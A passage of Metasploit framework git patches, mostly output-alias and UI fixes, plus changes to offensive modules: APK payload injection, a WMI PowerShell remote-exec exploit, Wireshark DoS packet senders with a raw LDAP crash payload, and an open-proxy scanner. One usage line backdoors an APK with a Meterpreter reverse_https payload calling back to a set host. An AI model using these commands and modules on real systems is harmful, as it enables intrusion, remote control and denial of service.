b/lib/msf/core/auxiliary/auth_brute.rb @@ -667,6 +667,8 @@ module Auxiliary::AuthBrute print_brute :level => :verror, :legacy_msg => msg end + alias_method :vprint_bad, :vprint_error + # Legacy vprint def vprint_good(msg='') print_brute :level => :vgood, :legacy_msg => msg diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index 45c91883ce..90fb92a2c9 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -326,5 +326,7 @@ class Auxiliary::Web::HTTP @parent.print_error message end + alias_method :print_bad, :print_error + end end diff --git a/lib/msf/core/module/ui/message.rb b/lib/msf/core/module/ui/message.rb index c706a35702..1eb480b2a2 100644 --- a/lib/msf/core/module/ui/message.rb +++ b/lib/msf/core/module/ui/message.rb @@ -8,6 +8,8 @@ module Msf::Module::UI::Message super(print_prefix + msg) end + alias_method :print_bad, :print_error + def print_good(msg='') super(print_prefix + msg) end diff --git a/lib/msf/core/module/ui/message/verbose.rb b/lib/msf/core/module/ui/message/verbose.rb index a47a7e8f11..06c2b63611 100644 --- a/lib/msf/core/module/ui/message/verbose.rb +++ b/lib/msf/core/module/ui/message/verbose.rb @@ -4,6 +4,8 @@ module Msf::Module::UI::Message::Verbose print_error(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE']) end + alias_method :vprint_bad, :vprint_error + # Verbose version of #print_good def vprint_good(msg='') print_good(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE']) diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb index 1abf4840bd..2e56fbc6c9 100644 --- a/lib/msf/core/payload/apk.rb +++ b/lib/msf/core/payload/apk.rb @@ -19,6 +19,8 @@ class Msf::Payload::Apk $stderr.puts "[-] #{msg}" end + alias_method :print_bad, :print_error + def usage print_error "Usage: #{$0} -x [target.apk] [msfvenom options]\n" print_error "e.g. #{$0} -x messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" diff --git a/lib/msf/core/plugin.rb b/lib/msf/core/plugin.rb index 6ed5fa9e47..7ff0006b0e 100644 --- a/lib/msf/core/plugin.rb +++ b/lib/msf/core/plugin.rb @@ -112,6 +112,8 @@ class Plugin output.print_error(msg) if (output) end + alias_method :print_bad, :print_error + # # Prints a 'good' message. # diff --git a/lib/rex/script/base.rb b/lib/rex/script/base.rb index 4a7afff661..c149e4e163 100644 --- a/lib/rex/script/base.rb +++ b/lib/rex/script/base.rb @@ -9,6 +9,7 @@ class Base def print_status(msg); end def print_good(msg); end def print_error(msg); end + alias_method :print_bad, :print_error def print_warning(msg); end end diff --git a/lib/rex/ui/output.rb b/lib/rex/ui/output.rb index be6fdde92d..4604edafaa 100644 --- a/lib/rex/ui/output.rb +++ b/lib/rex/ui/output.rb @@ -24,6 +24,8 @@ class Output def print_error(msg='') end + alias_method :print_bad, :print_error + # # Prints a 'good' message. # diff --git a/lib/rex/ui/subscriber.rb b/lib/rex/ui/subscriber.rb index bb37471345..d7e43936f1 100644 --- a/lib/rex/ui/subscriber.rb +++ b/lib/rex/ui/subscriber.rb @@ -46,6 +46,8 @@ module Subscriber end end + alias_method :print_bad, :print_error + # # Wraps user_output.print_good # diff --git a/lib/rex/ui/text/bidirectional_pipe.rb b/lib/rex/ui/text/bidirectional_pipe.rb index 491bca9552..1545df8717 100644 --- a/lib/rex/ui/text/bidirectional_pipe.rb +++ b/lib/rex/ui/text/bidirectional_pipe.rb @@ -80,6 +80,8 @@ class BidirectionalPipe < Rex::Ui::Text::Input print_line('[-] ' + msg) end + alias_method :print_bad, :print_error + def print_line(msg='') print(msg + "\n") end diff --git a/lib/rex/ui/text/dispatcher_shell.rb b/lib/rex/ui/text/dispatcher_shell.rb index 7c2ca989e0..878010829c 100644 --- a/lib/rex/ui/text/dispatcher_shell.rb +++ b/lib/rex/ui/text/dispatcher_shell.rb @@ -61,6 +61,8 @@ module DispatcherShell shell.print_error(msg) end + alias_method :print_bad, :print_error + # # Wraps shell.print_status # diff --git a/lib/rex/ui/text/output.rb b/lib/rex/ui/text/output.rb index d48eda6d2e..c655ff60d5 100644 --- a/lib/rex/ui/text/output.rb +++ b/lib/rex/ui/text/output.rb @@ -51,6 +51,8 @@ class Output < Rex::Ui::Output print_line("%bld%red[-]%clr #{msg}") end + alias_method :print_bad, :print_error + def print_good(msg = '') print_line("%bld%grn[+]%clr #{msg}") end diff --git a/lib/rex/ui/text/shell.rb b/lib/rex/ui/text/shell.rb index 63089bc194..b33f8270ae 100644 --- a/lib/rex/ui/text/shell.rb +++ b/lib/rex/ui/text/shell.rb @@ -276,6 +276,8 @@ module Shell log_output(output.print_error(msg)) end + alias_method :print_bad, :print_error + # # Prints a status message to the output handle. # diff --git a/spec/lib/msf/core/post/windows/mssql_spec.rb b/spec/lib/msf/core/post/windows/mssql_spec.rb index 263e7e236d..ba13a716ea 100644 --- a/spec/lib/msf/core/post/windows/mssql_spec.rb +++ b/spec/lib/msf/core/post/windows/mssql_spec.rb @@ -7,7 +7,8 @@ RSpec.describe Msf::Post::Windows::MSSQL do let(:subject) do mod = double(Module.new) mod.extend described_class - stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error, :print_warning ] + stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, + :print_error, :vprint_error, :print_bad, :vprint_bad, :print_warning ] stubs.each { |meth| allow(mod).to receive(meth) } allow(mod).to receive(:service_info).and_return({}) mod diff --git a/spec/lib/msf/core/post/windows/runas_spec.rb b/spec/lib/msf/core/post/windows/runas_spec.rb index c8aedfe8d2..6c6d298a13 100644 --- a/spec/lib/msf/core/post/windows/runas_spec.rb +++ b/spec/lib/msf/core/post/windows/runas_spec.rb @@ -36,7 +36,8 @@ RSpec.describe Msf::Post::Windows::Runas do let(:subject) do mod = double(Module.new) mod.extend described_class - stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error ] + stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, + :print_error, :vprint_error, :print_bad, :vprint_bad ] stubs.each { |meth| allow(mod).to receive(meth) } allow(mod).to receive_message_chain("session.railgun.kernel32").and_return(kernel32) allow(mod).to receive_message_chain("session.railgun.advapi32").and_return(advapi32) diff --git a/spec/support/shared/contexts/msf/ui_driver.rb b/spec/support/shared/contexts/msf/ui_driver.rb index e05588d053..23e183ac55 100644 --- a/spec/support/shared/contexts/msf/ui_driver.rb +++ b/spec/support/shared/contexts/msf/ui_driver.rb @@ -17,6 +17,10 @@ RSpec.shared_context 'Msf::UIDriver' do @error ||= [] @error.concat string.split("\n") end + allow(driver).to receive(:print_bad).with(kind_of(String)) do |string| + @error ||= [] + @error.concat string.split("\n") + end } end end diff --git a/spec/support/shared/examples/msf/module/ui/message.rb b/spec/support/shared/examples/msf/module/ui/message.rb index 7537c353b9..e8b8f96de8 100644 --- a/spec/support/shared/examples/msf/module/ui/message.rb +++ b/spec/support/shared/examples/msf/module/ui/message.rb @@ -2,8 +2,9 @@ RSpec.shared_examples_for 'Msf::Module::UI::Message' do it_should_behave_like 'Msf::Module::UI::Message::Verbose' it { is_expected.to respond_to :print_error } + it { is_expected.to respond_to :print_bad } it { is_expected.to respond_to :print_good } it { is_expected.to respond_to :print_prefix } it { is_expected.to respond_to :print_status } it { is_expected.to respond_to :print_warning } -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/module/ui/message/verbose.rb b/spec/support/shared/examples/msf/module/ui/message/verbose.rb index 7a7bf2025a..6bff0f99ae 100644 --- a/spec/support/shared/examples/msf/module/ui/message/verbose.rb +++ b/spec/support/shared/examples/msf/module/ui/message/verbose.rb @@ -1,6 +1,7 @@ RSpec.shared_examples_for 'Msf::Module::UI::Message::Verbose' do it { is_expected.to respond_to :vprint_error } + it { is_expected.to respond_to :vprint_bad } it { is_expected.to respond_to :vprint_good } it { is_expected.to respond_to :vprint_status } it { is_expected.to respond_to :vprint_warning } -end \ No newline at end of file +end From 927e195e2802803183043135ae0e1467d7d1cc14 Mon Sep 17 00:00:00 2001 From: Brian Yip Date: Wed, 16 Nov 2016 00:48:10 -0400 Subject: [PATCH 133/157] Generate payload apk from permissionless apk --- lib/msf/core/payload/apk.rb | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb index 1abf4840bd..2397d1d4bf 100644 --- a/lib/msf/core/payload/apk.rb +++ b/lib/msf/core/payload/apk.rb @@ -75,17 +75,23 @@ class Msf::Payload::Apk original_manifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml") original_permissions = original_manifest.xpath("//manifest/uses-permission") - manifest = original_manifest.xpath('/manifest') old_permissions = [] - for permission in original_permissions + original_permissions.each do |permission| name = permission.attribute("name").to_s old_permissions << name end - for permission in payload_permissions + + application = original_manifest.xpath('//manifest/application') + payload_permissions.each do |permission| name = permission.attribute("name").to_s unless old_permissions.include?(name) print_status("Adding #{name}") - original_permissions.before(permission.to_xml) + if original_permissions.empty? + application.before(permission.to_xml) + original_permissions = original_manifest.xpath("//manifest/uses-permission") + else + original_permissions.before(permission.to_xml) + end end end @@ -93,7 +99,7 @@ class Msf::Payload::Apk application << payload_manifest.at_xpath('/manifest/application/receiver').to_xml application << payload_manifest.at_xpath('/manifest/application/service').to_xml - File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts original_manifest.to_xml } + File.open("#{tempdir}/original/AndroidManifest.xml", "wb") { |file| file.puts original_manifest.to_xml } end def parse_orig_cert_data(orig_apkfile) From 383314530ab82c0cc8f9be9235ccd78f532a608d Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 16 Nov 2016 07:48:26 -0800 Subject: [PATCH 134/157] Bump version of framework to 4.13.0 --- Gemfile.lock | 2 +- lib/metasploit/framework/version.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 84f3dbb54e..75eed7d055 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.12.42) + metasploit-framework (4.13.0) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 486177de5c..e5b6557867 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.12.42" + VERSION = "4.13.0" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From e1ff37f3eb9a6acc147c0c438c6066ae66a32bd6 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 16 Nov 2016 16:23:44 -0600 Subject: [PATCH 135/157] Title change and handling Rex::TimeoutError exception --- modules/exploits/windows/local/ps_wmi_exec.rb | 28 +++++++++++-------- 1 file changed, 17 insertions(+), 11 deletions(-) diff --git a/modules/exploits/windows/local/ps_wmi_exec.rb b/modules/exploits/windows/local/ps_wmi_exec.rb index 1d552c08c1..24807416dc 100644 --- a/modules/exploits/windows/local/ps_wmi_exec.rb +++ b/modules/exploits/windows/local/ps_wmi_exec.rb @@ -1,20 +1,15 @@ -# -*- coding: binary -*- - ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -## -# Ideally the methods to create WMI wrapper functions and their callers -# should be in /lib/msf/core/post/windows/powershell/ps_wmi.rb. -## require 'msf/core' require 'msf/core/post/windows/powershell' require 'msf/core/post/windows/priv' +require 'msf/core/exploit/powershell/dot_net' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Windows::Powershell @@ -23,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Local def initialize(info={}) super(update_info(info, - 'Name' => "Authenticated WMI Exec via Powershell (Local Exploit)", + 'Name' => "Authenticated WMI Exec via Powershell", 'Description' => %q{ This module uses WMI execution to launch a payload instance on a remote machine. In order to avoid AV detection, all execution is performed in memory via psh-net @@ -117,7 +112,6 @@ class Metasploit3 < Msf::Exploit::Local end def exploit - # Make sure we meet the requirements before running the script unless have_powershell? fail_with(Failure::BadConfig, 'PowerShell not found') @@ -137,7 +131,13 @@ class Metasploit3 < Msf::Exploit::Local return end - print_good("#{datastore["RHOSTS"] ? psh_exec(script) : psh_exec(script,true,false)}") + begin + psh_output = datastore["RHOSTS"] ? psh_exec(script) : psh_exec(script,true,false) + print_good(psh_output) + rescue Rex::TimeoutError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + end + vprint_good('PSH WMI exec is complete.') end @@ -176,7 +176,13 @@ EOS EOS - return ps_wrapper + return ps_wrapper end end + + +# +# Ideally the methods to create WMI wrapper functions and their callers +# should be in /lib/msf/core/post/windows/powershell/ps_wmi.rb. +# From 491a3a31627bf17fce10839e0862914aba78c9a0 Mon Sep 17 00:00:00 2001 From: Dylan Davis Date: Wed, 16 Nov 2016 20:43:07 -0700 Subject: [PATCH 136/157] Prevent the input prompt from being mangled by asynchronous prints. --- lib/rex/ui/text/input/readline.rb | 19 +++++++++++++++++-- lib/rex/ui/text/output.rb | 8 +++++++- lib/rex/ui/text/shell.rb | 2 ++ 3 files changed, 26 insertions(+), 3 deletions(-) diff --git a/lib/rex/ui/text/input/readline.rb b/lib/rex/ui/text/input/readline.rb index c6839ee630..a2aa670b56 100644 --- a/lib/rex/ui/text/input/readline.rb +++ b/lib/rex/ui/text/input/readline.rb @@ -40,6 +40,20 @@ begin ::Readline.completion_proc = tab_complete_proc || @rl_saved_proc end + + # + # Retrieve the line buffer + # + def line_buffer + if defined? RbReadline + RbReadline.rl_line_buffer + else + ::Readline.line_buffer + end + end + + attr_accessor :prompt + # # Whether or not the input medium supports readline. # @@ -124,12 +138,13 @@ begin # to reimplement []`Readline.readline`](https://github.com/luislavena/rb-readline/blob/ce4908dae45dbcae90a6e42e3710b8c3a1f2cd64/lib/readline.rb#L36-L58) # for rb-readline to support setting input and output. Output needs to be set so that colorization works for the # prompt on Windows. + self.prompt = prompt if defined? RbReadline RbReadline.rl_instream = fd RbReadline.rl_outstream = output begin - line = RbReadline.readline(prompt) + line = RbReadline.readline("\001\r\033[K\002" + prompt) rescue ::Exception => exception RbReadline.rl_cleanup_after_signal() RbReadline.rl_deprep_terminal() @@ -143,7 +158,7 @@ begin line.try(:dup) else - ::Readline.readline(prompt, true) + ::Readline.readline("\001\r\033[K\002" + prompt, true) end end diff --git a/lib/rex/ui/text/output.rb b/lib/rex/ui/text/output.rb index d48eda6d2e..28dc437061 100644 --- a/lib/rex/ui/text/output.rb +++ b/lib/rex/ui/text/output.rb @@ -29,6 +29,7 @@ class Output < Rex::Ui::Output super end attr_reader :config + attr_accessor :input def disable_color @config[:color] = false @@ -60,7 +61,12 @@ class Output < Rex::Ui::Output end def print_line(msg = '') - print(msg + "\n") + print("\r\033[K" + msg + "\n") + if input and input.prompt + print("\r\033[K") + print(input.prompt) + print(input.line_buffer) + end end def print_warning(msg = '') diff --git a/lib/rex/ui/text/shell.rb b/lib/rex/ui/text/shell.rb index 63089bc194..373c6a9eb0 100644 --- a/lib/rex/ui/text/shell.rb +++ b/lib/rex/ui/text/shell.rb @@ -184,7 +184,9 @@ module Shell self.init_prompt = input.prompt end + output.input = input line = input.pgets() + output.input = nil log_output(input.prompt) # If a block was passed in, pass the line to it. If it returns true, From 739c9c1315f2a43480285cb64e046d4420c32215 Mon Sep 17 00:00:00 2001 From: Dylan Davis Date: Wed, 16 Nov 2016 21:07:50 -0700 Subject: [PATCH 137/157] Ensure cursor is positioned appropriately if it is not at the end of a line when async prints arrive --- lib/rex/ui/text/output.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/rex/ui/text/output.rb b/lib/rex/ui/text/output.rb index 28dc437061..30c93bd2a1 100644 --- a/lib/rex/ui/text/output.rb +++ b/lib/rex/ui/text/output.rb @@ -61,11 +61,13 @@ class Output < Rex::Ui::Output end def print_line(msg = '') + print("\033[s") # Save cursor position print("\r\033[K" + msg + "\n") if input and input.prompt print("\r\033[K") print(input.prompt) print(input.line_buffer) + print("\033[u\033[B") # Restore cursor, move down one line end end From 30f7006b5b9a71127d8895303938b94552a778d3 Mon Sep 17 00:00:00 2001 From: Cantoni Matteo Date: Thu, 17 Nov 2016 14:39:33 +0100 Subject: [PATCH 138/157] Fixed typos of an old commit --- modules/auxiliary/dos/wireshark/chunked.rb | 14 +++++++------- modules/auxiliary/dos/wireshark/ldap.rb | 2 +- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/dos/wireshark/chunked.rb b/modules/auxiliary/dos/wireshark/chunked.rb index 3cb3a0a4a3..ec7fab9c22 100644 --- a/modules/auxiliary/dos/wireshark/chunked.rb +++ b/modules/auxiliary/dos/wireshark/chunked.rb @@ -17,13 +17,13 @@ class MetasploitModule < Msf::Auxiliary Wireshark crash when dissecting an HTTP chunked response. Versions affected: 0.99.5 (Bug 1394) }, - 'Author' => [ 'Matteo Cantoni ' ], + 'Author' => ['Matteo Cantoni '], 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', '2007-3389'], - [ 'OSVDB', '37643'], - [ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=1394'], + ['CVE', '2007-3389'], + ['OSVDB', '37643'], + ['URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=1394'], ], 'DisclosureDate' => 'Feb 22 2007')) @@ -42,13 +42,13 @@ class MetasploitModule < Msf::Auxiliary p = PacketFu::TCPPacket.new p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost) - p.ip_daddr = dhost + p.ip_daddr = rhost p.tcp_dport = rand(65535)+1 - n.tcp_ack = rand(0x100000000) + p.tcp_ack = rand(0x100000000) p.tcp_flags.psh = 1 p.tcp_flags.ack = 1 p.tcp_sport = datastore['SPORT'].to_i - p.tcp_window = 3072 + p.tcp_win = 3072 # The following hex blob contains an HTTP response with a chunked-encoding # length of 0. The ASCII version is below in a block comment. diff --git a/modules/auxiliary/dos/wireshark/ldap.rb b/modules/auxiliary/dos/wireshark/ldap.rb index f56c69f873..5bb4d778e9 100644 --- a/modules/auxiliary/dos/wireshark/ldap.rb +++ b/modules/auxiliary/dos/wireshark/ldap.rb @@ -49,7 +49,7 @@ class MetasploitModule < Msf::Auxiliary p.tcp_flags.syn = 1 p.tcp_flags.ack = 1 p.tcp_dport = datastore['RPORT'].to_i - p.tcp_window = 3072 + p.tcp_win = 3072 p.payload = "0O\002\002;\242cI\004\rdc=#{m},dc=#{m}\n\001\002\n\001\000\002\001\000\002\001\000\001\001\000\241'\243\016" p.recalc capture_sendto(p, rhost) From c9b9be9328e11278e2579f1b693cc90ba83a45f7 Mon Sep 17 00:00:00 2001 From: Cantoni Matteo Date: Thu, 17 Nov 2016 15:44:03 +0100 Subject: [PATCH 139/157] Update open_proxy aux module --- modules/auxiliary/scanner/http/open_proxy.rb | 262 ++++++------------- 1 file changed, 83 insertions(+), 179 deletions(-) diff --git a/modules/auxiliary/scanner/http/open_proxy.rb b/modules/auxiliary/scanner/http/open_proxy.rb index 6ec76f75bb..93aedddc2c 100644 --- a/modules/auxiliary/scanner/http/open_proxy.rb +++ b/modules/auxiliary/scanner/http/open_proxy.rb @@ -7,7 +7,7 @@ require 'msf/core' class MetasploitModule < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::WmapScanServer include Msf::Auxiliary::Report @@ -16,8 +16,10 @@ class MetasploitModule < Msf::Auxiliary super(update_info(info, 'Name' => 'HTTP Open Proxy Detection', 'Description' => %q{ - Checks if an HTTP proxy is open. False positive are avoided + Checks if an HTTP proxy is open. False positive are avoided verifing the HTTP return code and matching a pattern. + For the CONNECT method is verified only the return code. + HTTP headers are shown regarding the use of proxy or load balancer. }, 'References' => [ @@ -31,224 +33,126 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(8080), - OptBool.new('MULTIPORTS', [ false, 'Multiple ports will be used : 80, 1080, 3128, 8080, 8123', false ]), - OptBool.new('RANDOMIZE_PORTS', [ false, 'Randomize the order the ports are probed', false ]), - OptBool.new('VERIFY_CONNECT', [ false, 'Enable test for CONNECT method', false ]), - OptBool.new('VERIFY_HEAD', [ false, 'Enable test for HEAD method', false ]), - OptBool.new('LOOKUP_PUBLIC_ADDRESS', [ false, 'Enable test for retrieve public IP address via RIPE.net', false ]), - OptString.new('SITE', [ true, 'The web site to test via alleged web proxy (default is www.google.com)', 'www.google.com' ]), - OptString.new('ValidCode', [ false, "Valid HTTP code for a successfully request", '200,302' ]), - OptString.new('ValidPattern', [ false, "Valid HTTP server header for a successfully request", 'server: gws' ]), - OptString.new('UserAgent', [ true, 'The HTTP User-Agent sent in the request', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]), - ], self.class) - - register_advanced_options( - [ - OptString.new('RIPE_ADDRESS', [ true, 'www.ripe.net IP address', '193.0.6.139' ]), + OptBool.new('MULTIPORTS', [ false, 'Multiple ports will be used: 80, 443, 1080, 3128, 8000, 8080, 8123', false ]), + OptBool.new('VERIFYCONNECT', [ false, 'Enable CONNECT HTTP method check', false ]), + OptString.new('CHECKURL', [ true, 'The web site to test via alleged web proxy', 'http://www.google.com' ]), + OptString.new('VALIDCODES', [ true, "Valid HTTP code for a successfully request", '200,302' ]), + OptString.new('VALIDPATTERN', [ true, "Valid pattern match (case-sensitive into the headers and HTML body) for a successfully request", '302 Moved' ]), ], self.class) register_wmap_options({ - 'OrderID' => 1, - 'Require' => {}, - }) + 'OrderID' => 1, + 'Require' => {}, + }) end def run_host(target_host) + check_url = datastore['CHECKURL'] + + if datastore['VERIFYCONNECT'] + target_method = 'CONNECT' + # CONNECT doesn't need but need port + check_url = check_url.gsub(/[http:\/\/|https:\/\/]/, '') + if check_url !~ /:443$/ + check_url = check_url + ":443" + end + else + target_method = 'GET' + # GET only http request + check_url = check_url.gsub(/https:\/\//, '') + if check_url !~ /^http:\/\//i + check_url = 'http://' + check_url + end + end + target_ports = [] if datastore['MULTIPORTS'] - target_ports = [ 80, 1080, 3128, 8080, 8123 ] + target_ports = [ 80, 443, 1080, 3128, 8000, 8080, 8123 ] + else + target_ports.push(datastore['RPORT'].to_i) end - target_ports.push(datastore['RPORT'].to_i) - - if datastore['RANDOMIZE_PORTS'] - target_ports = target_ports.sort_by { rand } - end - - target_ports = target_ports.uniq - - site = datastore['SITE'] - user_agent = datastore['UserAgent'] + target_proxy_headers = [ 'Forwarded', 'Front-End-Https', 'Max-Forwards', 'Via', 'X-Cache', 'X-Cache-Lookup', 'X-Client-IP', 'X-Forwarded-For', 'X-Forwarded-Host' ] target_ports.each do |target_port| - datastore['RPORT'] = target_port - if target_host == site - print_error("Target is the same as proxy site.") - else - check_host(target_host,target_port,site,user_agent) - end + verify_target(target_host,target_port,target_method,check_url,target_proxy_headers) end end - def check_pattern(res,pattern) + def verify_target(target_host,target_port,target_method,check_url,target_proxy_headers) - if (res =~ /#{pattern}/i) - return 1 - else - return 0 - end + vprint_status("#{peer} - Sending a web request... [#{target_method}][#{check_url}]") - end - - def write_request(method,site,user_agent) - - request = method + " http://" + site + "/ HTTP/1.1" + "\r\n" + - "Host: " + site + "\r\n" + - "Connection: close" + "\r\n" + - "User-Agent: #{user_agent}" + "\r\n" + - "Accept-Encoding: *" + "\r\n" + - "Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7" + "\r\n" + - "Cache-Control: no" + "\r\n" + - "Accept-Language: de,en;q=0.7,en-us;q=0.3" + "\r\n" + - "\r\n" - - return request - - end - - def send_request(site,user_agent) + datastore['RPORT'] = target_port begin - connect - - request = write_request('GET',site,user_agent) - sock.put(request) - res = sock.get_once(-1, 10) - - disconnect - - validcodes = datastore['ValidCode'].split(/,/) - - is_valid = 0 - retcode = 0 - retvia = 'n/a' - retsrv = 'n/a' - - if (res and res.match(/^HTTP\/1\.[01]\s+([^\s]+)\s+(.*)/)) - - retcode = $1 - - if (res.match(/Server: (.*)/)) - retsrv = $1.chomp - end - - if (res.match(/Via: (.*)\((.*)\)/)) - retvia = $2 - end - - validcodes.each do |validcode| - if (retcode.to_i == validcode.to_i) - is_valid += 1 - end - end - - if (check_pattern(res,datastore['ValidPattern']) == 1) - is_valid += 1 - end - end - - retres = [ is_valid, retcode, retvia, retsrv ] - - return retres - - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE - end - end - - def send_request_ripe(user_agent) - - ripe_address = datastore['RIPE_ADDRESS'] - - begin - connect - - request = write_request('GET',ripe_address,user_agent) - sock.put(request) - res = sock.get_once(-1, 10) - - disconnect - - retres = 0 - - if (res and res.match(/^HTTP\/1\.[01]\s+([^\s]+)\s+(.*)/)) - - retcode = $1 - - if (retcode.to_i == 200) - res.match(/Your IP Address is: (\s+)([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})(\s+)<\/strong>/m) - retres = "#{$2}.#{$3}.#{$4}.#{$5}" - end - end - - return retres - - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE - end - end - - def check_host(target_host,target_port,site,user_agent) - vprint_status("Checking #{target_host}:#{target_port} [#{site}]") - - is_valid,retcode,retvia,retsrv = send_request(site,user_agent) - - if (is_valid == 2) - - print_status("#{target_host}:#{target_port} is a potentially OPEN proxy [#{retcode}] (#{retvia})") - - report_note( - :host => target_host, - :port => target_port, - :method => 'GET', - :proto => 'tcp', - :sname => (ssl ? 'https' : 'http'), - :type => 'OPEN PROXY', - :data => 'Open proxy' + res = send_request_cgi( + 'uri' => check_url, + 'method' => target_method, + 'version' => '1.1' ) - if (datastore['VERIFY_CONNECT']) + return if not res - permit_connect,retcode,retvia,retsrv = send_request(site,user_agent) + vprint_status("#{peer} - Returns with '#{res.code}' status code [#{target_method}][#{check_url}]") - if (permit_connect == 2) - print_status("#{target_host}:#{target_port} CONNECT method successfully tested") + valid_codes = datastore['VALIDCODES'].split(/,/) + + target_proxy_headers_results = [] + target_proxy_headers.each do |proxy_header| + if (res.headers.to_s.match(/#{proxy_header}: (.*)/)) + proxy_header_value = $1 + # Ok...I don't like it but works... + target_proxy_headers_results.push("\n |_ #{proxy_header}: #{proxy_header_value}") + end + end + + if target_proxy_headers_results.any? + proxy_headers = target_proxy_headers_results.join() + end + + if datastore['VERIFYCONNECT'] + # Verifiying CONNECT we check only the return code + if valid_codes.include?(res.code.to_s) + + print_good("#{peer} - Potentially open proxy [#{res.code}][#{target_method}]#{proxy_headers}") report_note( :host => target_host, :port => target_port, - :method => 'CONNECT' + :method => target_method, + :proto => 'tcp', + :sname => (ssl ? 'https' : 'http'), + :type => 'OPEN HTTP PROXY', + :data => 'Open http proxy (CONNECT)' ) + end - end + else + # Verify return code && (headers.pattern or body.pattern) + if valid_codes.include?(res.code.to_s) && (res.headers.include?(datastore['VALIDPATTERN']) or res.body.include?(datastore['VALIDPATTERN'])) - if (datastore['VERIFY_HEAD']) - - permit_connect,retcode,retvia,retsrv = send_request(site,user_agent) - - if (permit_connect == 2) - print_status("#{target_host}:#{target_port} HEAD method successfully tested") + print_good("#{peer} - Potentially open proxy [#{res.code}][#{target_method}]#{proxy_headers}") report_note( :host => target_host, :port => target_port, - :method => 'HEAD' + :method => target_method, + :proto => 'tcp', + :sname => (ssl ? 'https' : 'http'), + :type => 'OPEN HTTP PROXY', + :data => 'Open http proxy (GET)' ) + end end - if (datastore['LOOKUP_PUBLIC_ADDRESS']) - - retres = send_request_ripe(user_agent) - - if (retres != 0) - print_status("#{target_host}:#{target_port} using #{retres} public IP address") - end - end + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e + vprint_error("#{peer} - The port '#{target_port}' is unreachable!") + return nil end - end end From c03f35ef138a4d3e679e190b14facdf5bfd8195f Mon Sep 17 00:00:00 2001 From: Jin Qian Date: Thu, 17 Nov 2016 10:08:59 -0600 Subject: [PATCH 140/157] Fix the hanging of module auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb Thanks for Wei who pointed out the error: in store_loop call, it used "rhosts", should have been ip. --- modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb index fd22f8a66b..674956d42a 100644 --- a/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb +++ b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb @@ -98,7 +98,7 @@ class MetasploitModule < Msf::Auxiliary progress(file_size, file_size) fname = datastore['PATH'].gsub(/[\/\\]/, '_') - p = store_loot("titanftp.traversal", "text/plain", "rhost", file_data, fname) + p = store_loot("titanftp.traversal", "text/plain", ip, file_data, fname) print_status("Saved in: #{p}") vprint_status(file_data.inspect) From 22d70ddd09a5476ab75b21f0624771c6bbe8699c Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 17 Nov 2016 15:50:35 -0600 Subject: [PATCH 141/157] Fix #7455, handle the URIPORT option properly in is_uxss_injection Fix #7455 --- modules/auxiliary/gather/ie_uxss_injection.rb | 2 +- 1 file 